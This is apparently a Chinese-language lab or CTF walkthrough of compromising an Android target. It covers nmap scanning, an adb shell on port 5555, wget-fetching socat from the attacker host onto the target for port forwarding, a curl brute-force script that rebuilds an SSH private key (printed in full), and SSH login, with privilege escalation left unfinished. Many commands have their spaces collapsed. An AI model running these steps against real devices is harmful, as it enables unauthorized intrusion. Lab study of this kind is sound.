- 前言
- 正文
- 1、端口扫描
- 2、安卓端口反向代理
- 3、目录遍历获取RSA密钥
- 4、用户提权
前言
本文介绍了Kali Linux的基本使用技巧和nmap常见命令,重点演示了端口扫描、安卓设备反向代理和权限提升过程。通过nmap扫描发现安卓设备5555端口开放,使用adb工具连接后,将安卓80端口反向代理到Kali主机的过程。
正文
1、端口扫描
nmap-sV-v-T4-A192.168.31.198发现5555端口开放,并且还是android设备。
尝试使用adb工具进入shell界面:
看下安卓开放的端口:
netstat-lntupuname -m看下这个安卓是啥架构:
说明这个靶机是 64 位 x86 架构(PC / 模拟器环境)
2、安卓端口反向代理
我们得想办法把安卓的80端口,代理到我们自己的主机端口上。
(1)在Kali里执行以下命令,下载一个静态编译、无依赖的socat:
cd~/Desktopwgethttps://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat-Osocatchmod+x socat(2)启动Kali的HTTP服务:
python3-mhttp.server80(3)在安卓里,想办法把这个文件传到/home/runner目录下:
adb shelllscdtmpwget192.168.31.188/socatcpsocat /home/runnercd/home/runnerchmod+x socat /home/runner/socat-d-dTCP-LISTEN:9000,fork TCP4:127.0.0.1:80&
可以通过命令:
netstat-tuln看看安卓的9000端口启动了没
然后在kali里,下载一个工具tealdeer,更新的时候遇到了问题:
安装 proxychains:
aptupdate&&aptinstall-yproxychains4编辑配置文件:
nano/etc/proxychains4.conf把最后一行改成你的代理(比如你的代理是 socks5://192.168.3.94:6454):
# 注释掉原来的 127.0.0.1:9050,改成下面这行socks5192.168.3.946454同理,Kali里的浏览器也是同理设置:
用 proxychains 运行 tldr,完美解决。
proxychains4 tldr--update可以通过以下命令验证一下:
curl-vhttps://github.com如果 GitHub 也返回 HTML,说明代理对 GitHub 是通的。
最后,代理一下9000端口:
3、目录遍历获取RSA密钥
扫目录的时候,发现目录的文件名像RSA私钥(这谁能想到),所以要把扫到的目录,拼接成一个字符串,那就写脚本。
首先,生成标准的base64.txt:
echo{A..Z}{a..z}{0..9}+ /=|tr' ''\n'>base64.txt然后新建一个c.sh放到kali里:
#!/bin/bashforsin$(seq15)dokey=""forkin$(seq70)doforiin$(catbase64.txt)dotmp="$key$i"a=$(curl-s"http://192.168.31.198:9000/line${s}/$tmp")[-z"$a"]&&key="$tmp"&&breakdonedoneecho"$key"donechmod +x把c.sh这个文件权限提高,然后执行:
| 内容 | 含义 & 作用 |
|---|---|
ssh-keygen -y -f id2 | 这是核心命令,作用是从 SSH 私钥文件生成对应的公钥: - ssh-keygen:SSH 密钥管理的核心工具- -y:关键参数,“从私钥文件中提取公钥”(不会修改原私钥,只读生成)- -f id2:指定要读取的私钥文件是当前目录下的id2(如果id2不在当前目录,需要写完整路径,比如/root/Desktop/id2) |
然后把id2的内容改一下格式:
cat>id2<<'EOF' -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgwAAAJDS3+5f0t/u XwAAAAtzc2gtZWQyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgw AAAEBCjeRitoZJIm1c4i0VD2Muw5nqgb7zC13vMaxS/la+vSucQUWuMMjqti3kaZQPEy9J 5felyfQYYF+CjURC1emDAAAACWFzYWhpQHBoaQECAwQ= -----END OPENSSH PRIVATE KEY----- EOFchmod600id24、用户提权
通过命令:
ssh-keygen-y-fid2拿到用户名,通过命令:
sshasahi@192.168.31.198-iid2成功拿到fuzz用户权限:
查看当前用户可执行的权限:
到这一步,不知道如何文件上传拿到root权限了。后面学明白了再填坑。